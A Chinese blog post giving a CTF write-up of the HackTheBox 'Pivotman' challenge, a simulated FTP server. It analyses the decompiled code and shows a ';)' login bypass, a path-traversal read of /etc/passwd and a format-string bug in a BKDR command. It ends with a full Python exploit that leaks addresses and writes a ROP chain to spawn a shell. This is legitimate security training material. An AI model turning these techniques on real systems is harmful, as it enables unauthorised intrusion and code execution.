每日一练4:[HTB]Pivotman

selph
selph
发布于 2024-10-28 / 9 阅读
0
0

每日一练4:[HTB]Pivotman

1

前言

今天这个题目的难点在于逆向分析,是一个模拟FTP服务的程序,利用反而是基操

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第4天,接下来加快脚步!

题目情况

While running routine updates, our deployment service alerted us of a hash mismatch on an FTP server installed in our network perimeter. While investigating, our SOC team notified us of breach attempts inside the network. We believe a threat actor has compromised the version control system and has inserted a backdoor to try and pivot throughout the network. We got locked from logging into the server, leaving only the FTP exposed. Can you find a way back inside before the attacker owns the network?

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./'

逆向分析

这个程序是个模拟的FTP服务器程序,反编译代码好几百行,理清楚逻辑,其实就比较好懂了

程序运行,给我们输出了一个:

challenge ➤ ./chall
220 Blablah FTP

首先是接收一个输入,0x1000的缓冲区:

  printf("%d Blablah FTP \r\n", 220LL);
  *(_QWORD *)buf = 0LL;
  v22 = 0LL;
  memset(v23, 0, sizeof(v23));
  *(_QWORD *)s = 0LL;
  v19 = 0LL;
  memset(v20, 0, sizeof(v20));
  v39 = 2;
  seed = time(0LL);
  srand(seed);
  v38 = -1;
  v37 = -1;
  v17 = 0;
  v15 = 0;
  v14 = 0;
  path = 0LL;
  username_check = 0;
  v32 = 1;
  v31 = 0;
  while ( 1 )
  {
    len = read(0, buffer, 0x1000uLL);
    if ( len <= 0 || !v32 )
      break;
    buffer[len] = 0;
    for ( i = 0; i < len; ++i )
    {
      if ( buffer[i] == '\r' || buffer[i] == '\n' )// 字符串转换
        buffer[i] = 0;
    }
    if ( buffer[i] )
      break;
    len = i;
    choose = get_choose((__int64)buffer, i);    // 根据关键词定位操作编号
    if ( choose >= 0 )
    {
      if ( (username_check || !choose || choose == 26) && (username_check != 1 || choose == 1 || choose == 26) )
      {
        switch ( choose )
        {
          case 0:                               // USER
          }}}}

接收输入到buffer之后,把\r\n置零,然后执行了一个函数进入switch-case结构

这个函数我命名为get_choose:

__int64 __fastcall get_choose(__int64 a1, int a2)
{
  int j; // [rsp+14h] [rbp-8h]
  int i; // [rsp+18h] [rbp-4h]

  for ( i = 0; i <= 29; ++i )                   // 根据数组定位操作对应的编号
  {
    for ( j = 0;
          *(_BYTE *)(op_arr[2 * i] + j)
       && j < a2
       && (*(_BYTE *)(op_arr[2 * i] + j) == *(_BYTE *)(j + a1) || *(char *)(op_arr[2 * i] + j) == *(char *)(j + a1) - 32);
          ++j )
    {
      ;
    }
    if ( !*(_BYTE *)(op_arr[2 * i] + j) )
      return LODWORD(qword_6028[2 * i]);
  }
  return 0xFFFFFFFFLL;
}

这里用输入遍历一个数组,比对字符串,比对成功后就返回其后面的数值:

.data:0000000000006020 ; __int64 op_arr[60]
.data:0000000000006020 op_arr          dq offset aUser         ; DATA XREF: get_choose+2C↑o
.data:0000000000006020                                         ; get_choose+62↑o ...
.data:0000000000006020                                         ; "USER"
.data:0000000000006028 qword_6028      dq 0                    ; DATA XREF: get_choose+100↑o
.data:0000000000006030                 dq offset aPass         ; "PASS"
.data:0000000000006038                 dq 1
.data:0000000000006040                 dq offset aRetr         ; "RETR"
.data:0000000000006048                 dq 2
.data:0000000000006050                 dq offset aStor         ; "STOR"
.data:0000000000006058                 dq 3
.data:0000000000006060                 dq offset aStou         ; "STOU"
.data:0000000000006068                 dq 4
.data:0000000000006070                 dq offset aAppe         ; "APPE"
.data:0000000000006078                 dq 5
.data:0000000000006080                 dq offset aRest         ; "REST"
.data:0000000000006088                 dq 6
.data:0000000000006090                 dq offset aRnfr         ; "RNFR"
.data:0000000000006098                 dq 7
.data:00000000000060A0                 dq offset aRnto         ; "RNTO"
.data:00000000000060A8                 dq 8
.data:00000000000060B0                 dq offset aAbor         ; "ABOR"
.data:00000000000060B8                 dq 9
.data:00000000000060C0                 dq offset aDele         ; "DELE"
.data:00000000000060C8                 dq 0Ah
.data:00000000000060D0                 dq offset aRmd          ; "RMD"
.data:00000000000060D8                 dq 0Bh
.data:00000000000060E0                 dq offset aMkd          ; "MKD"
.data:00000000000060E8                 dq 0Ch
.data:00000000000060F0                 dq offset aPwd          ; "PWD"
.data:00000000000060F8                 dq 0Dh
.data:0000000000006100                 dq offset aCwd          ; "CWD"
.data:0000000000006108                 dq 0Eh
.data:0000000000006110                 dq offset aCdup         ; "CDUP"
.data:0000000000006118                 dq 0Fh
.data:0000000000006120                 dq offset aList         ; "LIST"
.data:0000000000006128                 dq 10h
.data:0000000000006130                 dq offset aNlst         ; "NLST"
.data:0000000000006138                 dq 11h
.data:0000000000006140                 dq offset aSite         ; "SITE"
.data:0000000000006148                 dq 12h
.data:0000000000006150                 dq offset aStat_0       ; "STAT"
.data:0000000000006158                 dq 13h
.data:0000000000006160                 dq offset aHelp         ; "HELP"
.data:0000000000006168                 dq 14h
.data:0000000000006170                 dq offset aNoop         ; "NOOP"
.data:0000000000006178                 dq 15h
.data:0000000000006180                 dq offset aType         ; "TYPE"
.data:0000000000006188                 dq 16h
.data:0000000000006190                 dq offset aPasv         ; "PASV"
.data:0000000000006198                 dq 17h
.data:00000000000061A0                 dq offset aPort         ; "PORT"
.data:00000000000061A8                 dq 18h
.data:00000000000061B0                 dq offset aSyst         ; "SYST"
.data:00000000000061B8                 dq 19h
.data:00000000000061C0                 dq offset aQuit         ; "QUIT"
.data:00000000000061C8                 dq 1Ah
.data:00000000000061D0                 dq offset aMdtm         ; "MDTM"
.data:00000000000061D8                 dq 1Bh
.data:00000000000061E0                 dq offset aSize         ; "SIZE"
.data:00000000000061E8                 dq 1Ch
.data:00000000000061F0                 dq offset aBkdr         ; "BKDR"
.data:00000000000061F8                 dq 1Dh
.data:00000000000061F8 _data           ends

随便执行一个指令都提示要登录

登录分析

登录相关的代码:

          case 0:                               // USER
            for ( name = buffer; *(name - 1) != ' '; ++name )// 取出username
              ;
            if ( name_check1(name) || (v24 = getspnam(name)) != 0LL )// USER ;)即可
            {
              printf("%d User name okay need password \r\n", 331LL);
              username_check = 1;
            }
            else
            {
              printf("%d Cannot find user name. Do you belong here. \r\n", 530LL);
            }
            break;
          case 1:                               // PASS
            for ( j = buffer; *(j - 1) != 32; ++j )
              ;
            if ( name_check1(name) )
            {
              printf("%d User logged in proceed \r\n", 230LL);// PASS ;)即可
              username_check = 2;
            }
            else
            {
              v25 = 0;
              printf("%d Password wrong! Please login aggain. \r\n", 530LL);
              username_check = 0;
            }
            break;

这里有个校验,通过了就可以执行其他命令了:

_BOOL8 __fastcall sub_2A22(const char *a1)
{
  return strcmp(a1, ";)") == 0;
}

只需要输入

USER ;)
PASS ;)

即可

RETR 功能分析

任意文件读取:

          case 2:                               // RETR
            path = (char *)prepare_buffer((__int64)buffer);// 内容装入新缓冲区
            if ( !path )
              goto LABEL_57;
            v26 = sub_24CE(path, v17);          // 获取文件内容
            if ( v26 < 0 )
            {
              if ( v26 == -1 )
              {
                if ( access(path, 0) )
                  v8 = "file not exist";
                else
                  v8 = "access denyed. Check Permission";
              }
              else
              {
                v8 = "unknow error";
              }
              printf("%d FTP error: %s  \r\n", 500LL, v8);
            }
            else
            {
              printf("%d Transfer completed \r\n", 226LL);
              v17 = 0;
            }
            if ( v37 >= 0 )
              v37 = -1;
            if ( v38 >= 0 )
              v38 = -1;
            break;

从缓冲区里提取参数,也就是文件路径

然后调用sub_24CE:

__int64 __fastcall sub_24CE(const char *a1, unsigned int a2)
{
  FILE *stream; // [rsp+18h] [rbp-8h]

  stream = fopen(a1, "rb");
  if ( !stream )
    return 0xFFFFFFFFLL;
  fseek(stream, a2, 0);
  if ( (int)sub_2449(stream) < 0 )
    return 0xFFFFFFFELL;
  if ( fclose(stream) )
    return 0xFFFFFFFDLL;
  return 0LL;
}

__int64 __fastcall sub_2449(FILE *a1)
{
  int i; // eax
  char buf[4100]; // [rsp+10h] [rbp-1010h] BYREF
  int v4; // [rsp+1014h] [rbp-Ch]
  int v5; // [rsp+1018h] [rbp-8h]
  unsigned int v6; // [rsp+101Ch] [rbp-4h]

  v6 = 0;
  for ( i = fread(buf, 1uLL, 0x1000uLL, a1); ; i = fread(buf, 1uLL, 0x1000uLL, a1) )
  {                                             // 文件保存到缓冲区
    v5 = i;
    if ( i <= 0 )
      break;
    v4 = write(1, buf, v5);                     // 写出来
    if ( v4 < 0 )
      return (unsigned int)-1;
    buf[v5] = 0;
  }
  return v6;
}

这里的操作就是,把文件内容读取出来,打印出来,测试如下:

selph ➤ nc 94.237.59.180 47637
220 Blablah FTP
USER ;)
331 User name okay need password
PASS ;)
230 User logged in proceed
RETR flag.txt
RETR flag.txt

HELP
226 Transfer completed
RETR ../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
ctf:x:100:101:Linux User,,,:/home/ctf:/sbin/nologin
226 Transfer completed

flag.txt里没内容!!!

BKDR 功能分析

          case 29:                              // BKDR
            memset(v11, 0, 0x44CuLL);
            strcpy(v11, "%d ");
            memcpy(&v11[3], buffer, len);
            memcpy(&v11[len + 2], " \r\n", 3uLL);
            printf(v11, 0x69420LL);             // 格式化字符串漏洞!
            break;

这里从buffer里memcpy取值,然后直接调用printf,参数1可控,格式化字符串漏洞

利用分析

分析到这里,已经知道是个格式化字符串漏洞了,且能无限触发,缓冲区还很大

思路就很简单了,第一次格式化字符串,泄露地址(pie,stack,libc)

调用printf的时候的栈上信息:

aa6:5530│-028 0x7fff38c2d0a8 —▸ 0x564577710225 ◂— 0x2e70243525 /* '%5$p.' */

aab:5558│ rbp 0x7fff38c2d0d0 —▸ 0x7fff38c2d0e0 ◂— 0x0

aae:5570│+018 0x7fff38c2d0e8 —▸ 0x7f83885bb565 (__libc_start_main+213) ◂— mov edi, eax

第二次格式化字符串改写printf函数的返回地址写rop拿shell,虽然这个操作会占用很多缓冲区,但是题目给的够大,可以这么操作

也可以打栈迁移来rop

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# login
ru(b"220 Blablah FTP \r\n")
sl(b"USER ;)")
print(rl())
sl(b"PASS ;)")
print(rl())


# get leaks
sl(b"BKDR %2731$p.%2736$p.%2739$p")
ru(b"431136 BKDR ")
leak = rl()[:-3]
leak = leak.split(b".")
pieleak = int(leak[0], 16)
stackleak = int(leak[1], 16)
libcleak = int(leak[2], 16)

success(f"PIE Leak: {hex(pieleak)}")
success(f"Stack Leak: {hex(stackleak)}")
success(f"Libc Leak: {hex(libcleak)}")

elf.address = pieleak-0x6225
libc.address = libcleak-0x28565
retaddr = stackleak-0x5568          # printf ret addr
success(f"ELF Address: {hex(elf.address)}")
success(f"Libc Address: {hex(libc.address)}")
success(f"Ret Address: {hex(retaddr)}")

# ROP

rop = ROP([elf,libc])
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
rop.raw(rop.ret)
rop.raw(rop.ret)
rop.raw(rop.ret)
rop.raw(rop.ret)
rop.raw(rop.ret)

ropb = bytearray(rop.chain())
writes = {}
for i in range(len(ropb) // 8):
    writes[retaddr + 8*i] = ropb[8*i:8*i+8]
fmtstr = fmtstr_payload(1031,writes,12)

payload = b"BKDR " + fmtstr 
pause()
sl(payload)


ia()

总结

格式化字符串,复杂场景,难在发现,利用简单

参考资料


评论